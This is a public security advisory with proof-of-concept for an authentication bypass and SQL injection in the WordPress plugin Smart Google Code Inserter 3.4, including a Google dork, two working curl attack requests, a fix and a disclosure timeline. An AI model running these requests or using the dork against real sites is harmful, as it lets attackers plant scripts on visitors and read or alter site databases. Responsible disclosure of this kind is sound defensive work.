WordPress Smart Google Code Inserter SQL Injection

`Exploit Title: Smart Google Code Inserter < 3.5 - Auth Bypass/SQLi  
Google Dork: inurl:wp-content/plugins/smart-google-code-inserter/  
Date: 26-Nov-17  
Exploit Author: Benjamin Lim  
Vendor Homepage: http://oturia.com/  
Software Link: https://wordpress.org/plugins/smart-google-code-inserter/  
Version: 3.4  
Tested on: Kali Linux 2.0  
CVE : CVE-2018-3810 (Authentication Bypass with resultant XSS)  
CVE : CVE-2018-3811 (SQL Injection)  
  
  
1. Product & Service Introduction:  
==================================  
Smart Google Code Inserter is a Wordpress plugin that makes it easy to add  
Google Analytics tracking code as well as meta tag verification of  
Webmaster Tools. As of now, the plugin has been downloaded 34,207 times and  
has 9,000+ active installs.  
  
2. Technical Details & Description:  
===================================  
Authentication Bypass vulnerability in the Smart Google Code Inserter  
plugin 3.4 allows unauthenticated attackers to insert arbitrary javascript  
or HTML code which runs on all pages served by Wordpress. The  
saveGoogleCode() function in smartgooglecode.php does not check if the  
current request is made by an authorized user, thus allowing any  
unauthenticated user to successfully update the inserted code.  
  
SQL Injection vulnerability, when coupled with the Authentication Bypass  
vulnerability in the Smart Google Code Inserter plugin 3.4 allows  
unauthenticated attackers to execute SQL queries in the context of the  
webserver. The saveGoogleAdWords() function in smartgooglecode.php did not  
use prepared statements and did not sanitize the $_POST["oId"] variable  
before passing it as input into the SQL query.  
  
3. Proof of Concept (PoC):  
==========================  
  
Code Insertion  
  
curl -k -i --raw -X POST -d  
"sgcgoogleanalytic=<script>alert("1");</script>&sgcwebtools=&button=Save+Changes&action=savegooglecode"  
"http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:  
localhost" -H "Content-Type: application/x-www-form-urlencoded"  
  
SQL Injection  
  
curl -k -i --raw -X POST -d "action=saveadwords&delconf=1&oId[]=1 OR  
1=1--&ppccap[]=ex:mywplead&ppcpageid[]=1&ppccode[]=bb&nchkdel1=on" "  
http://localhost/wp-admin/options-general.php?page=smartcode" -H "Host:  
localhost" -H "Content-Type: application/x-www-form-urlencoded"  
  
4. Mitigation  
=============  
Update to version 3.5  
  
5. Disclosure Timeline  
======================  
2017/11/29 Vendor contacted  
2017/11/30 Vendor acknowleged and released an update  
2018/01/01 Advisory released to the public  
  
6. Credits & Authors:  
=====================  
Benjamin Lim - [https://limbenjamin.com]  
  
`